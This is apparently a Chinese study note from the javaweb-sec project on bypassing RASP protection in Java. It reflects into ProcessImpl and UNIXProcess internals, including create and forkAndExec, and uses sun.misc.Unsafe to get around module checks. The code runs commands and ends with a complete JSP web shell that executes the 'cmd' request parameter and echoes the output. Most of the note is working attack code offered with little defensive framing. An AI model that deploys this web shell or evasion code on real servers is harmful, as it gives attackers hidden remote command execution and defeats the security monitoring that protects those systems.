记录https://github.com/javaweb-sec/javaweb-sec的学习
CommandExecute
Runtime#exec
ProcessBuilder#start
以上两个最终都要调到ProcessImpl
而ProcessImpl会调用native的forkAndExec
实际最终都是调到Java_java_lang_ProcessImpl_forkAndExec
而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl
实现命令执行或者直接反射UNIXProcess/ProcessImpl
的forkAndExec
方法就可以绕过RASP实现命令执行了。
但是我本地跟了一下 最终调的是Java_java_lang_ProcessImpl_create 并没有找到 Java_java_lang_ProcessImpl_forkAndExec
在linux下有forkAndExec
Java_java_lang_ProcessImpl_create(JNIEnv *env, jclass ignored,jstring cmd,jstring envBlock,jstring dir,jlongArray stdHandles,jboolean redirectErrorStream)
{jlong ret = 0;if (cmd != NULL && stdHandles != NULL) {const jchar *pcmd = (*env)->GetStringChars(env, cmd, NULL);if (pcmd != NULL) {const jchar *penvBlock = (envBlock != NULL)? (*env)->GetStringChars(env, envBlock, NULL): NULL;const jchar *pdir = (dir != NULL)? (*env)->GetStringChars(env, dir, NULL): NULL;jlong *handles = (*env)->GetLongArrayElements(env, stdHandles, NULL);if (handles != NULL) {ret = processCreate(env,pcmd,penvBlock,pdir,handles,redirectErrorStream);(*env)->ReleaseLongArrayElements(env, stdHandles, handles, 0);}if (pdir != NULL)(*env)->ReleaseStringChars(env, dir, pdir);if (penvBlock != NULL)(*env)->ReleaseStringChars(env, envBlock, penvBlock);(*env)->ReleaseStringChars(env, cmd, pcmd);}}return ret;
}
这里就不写Runtime和ProcessBuilder的了
反射ProcessImpl命令执行
package tem;import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;public class Exec {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {Class<?> clazz = Class.forName("java.lang.ProcessImpl");Method startMethod = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);startMethod.setAccessible(true);startMethod.invoke(null,new String[]{"calc"},null,null,null,false);}
}
高版本则需要用Unsafe绕过
package tem;import sun.misc.Unsafe;import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;public class Exec {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {Class<?> clazz = Class.forName("java.lang.ProcessImpl");Method startMethod = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");unsafeField.setAccessible(true);Unsafe unsafe = (Unsafe) unsafeField.get(null);Class cureentClass = Exec.class;unsafe.getAndSetObject(cureentClass,unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),Object.class.getModule());startMethod.setAccessible(true);startMethod.invoke(null,new String[]{"calc"},null,null,null,false);}
}
反射Java_java_lang_ProcessImpl_create命令执行
当ProcessImpl也不能用的时候可以考虑
过程如下
- 使用
sun.misc.Unsafe.allocateInstance(Class)
特性可以无需new
或者newInstance
创建ProcessImpl
类对象。 - 反射
ProcessImpl
类的create
方法。 - 构造
create
需要的参数并调用。
package tem;import sun.misc.Unsafe;import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class NativeExec {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchMethodException, InvocationTargetException {// 获取ProcessImpl的实例Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");unsafeField.setAccessible(true);Unsafe unsafe = (Unsafe) unsafeField.get(null);Class<?> clazz = Class.forName("java.lang.ProcessImpl");Object o = unsafe.allocateInstance(clazz);Method createMethod = clazz.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);Class cureentClass = NativeExec.class;unsafe.getAndSetObject(cureentClass,unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),Object.class.getModule());createMethod.setAccessible(true);
// Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(String[].class,String.class,String.class,long[].class,boolean.class,boolean.class);
// declaredConstructor.setAccessible(true);
// System.out.println(declaredConstructor);
// Object p = declaredConstructor.newInstance(new String[]{"calc"}, null, null, new long[]{-1L,-1L,-1L}, false, false);
// System.out.println(p);createMethod.invoke(null,"calc",null,null,new long[]{-1L,-1L,-1L},false);}
}
在linux下则是forkAndExec
这个直接抄了
过程如下
- 使用
sun.misc.Unsafe.allocateInstance(Class)
特性可以无需new
或者newInstance
创建UNIXProcess/ProcessImpl
类对象。 - 反射
UNIXProcess/ProcessImpl
类的forkAndExec
方法。 - 构造
forkAndExec
需要的参数并调用。 - 反射
UNIXProcess/ProcessImpl
类的initStreams
方法初始化输入输出结果流对象。 - 反射
UNIXProcess/ProcessImpl
类的getInputStream
方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!byte[] toCString(String s) {if (s == null)return null;byte[] bytes = s.getBytes();byte[] result = new byte[bytes.length + 1];System.arraycopy(bytes, 0,result, 0,bytes.length);result[result.length - 1] = (byte) 0;return result;}%>
<%String[] strs = request.getParameterValues("cmd");if (strs != null) {Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");theUnsafeField.setAccessible(true);Unsafe unsafe = (Unsafe) theUnsafeField.get(null);Class processClass = null;try {processClass = Class.forName("java.lang.UNIXProcess");} catch (ClassNotFoundException e) {processClass = Class.forName("java.lang.ProcessImpl");}Object processObject = unsafe.allocateInstance(processClass);// Convert arguments to a contiguous block; it's easier to do// memory management in Java than in C.byte[][] args = new byte[strs.length - 1][];int size = args.length; // For added NUL bytesfor (int i = 0; i < args.length; i++) {args[i] = strs[i + 1].getBytes();size += args[i].length;}byte[] argBlock = new byte[size];int i = 0;for (byte[] arg : args) {System.arraycopy(arg, 0, argBlock, i, arg.length);i += arg.length + 1;// No need to write NUL bytes explicitly}int[] envc = new int[1];int[] std_fds = new int[]{-1, -1, -1};Field launchMechanismField = processClass.getDeclaredField("launchMechanism");Field helperpathField = processClass.getDeclaredField("helperpath");launchMechanismField.setAccessible(true);helperpathField.setAccessible(true);Object launchMechanismObject = launchMechanismField.get(processObject);byte[] helperpathObject = (byte[]) helperpathField.get(processObject);int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{int.class, byte[].class, byte[].class, byte[].class, int.class,byte[].class, int.class, byte[].class, int[].class, boolean.class});forkMethod.setAccessible(true);// 设置访问权限int pid = (int) forkMethod.invoke(processObject, new Object[]{ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,null, envc[0], null, std_fds, false});// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);initStreamsMethod.setAccessible(true);initStreamsMethod.invoke(processObject, std_fds);// 获取本地执行结果的输入流Method getInputStreamMethod = processClass.getMethod("getInputStream");getInputStreamMethod.setAccessible(true);InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);ByteArrayOutputStream baos = new ByteArrayOutputStream();int a = 0;byte[] b = new byte[1024];while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}out.println("<pre>");out.println(baos.toString());out.println("</pre>");out.flush();out.close();}
%>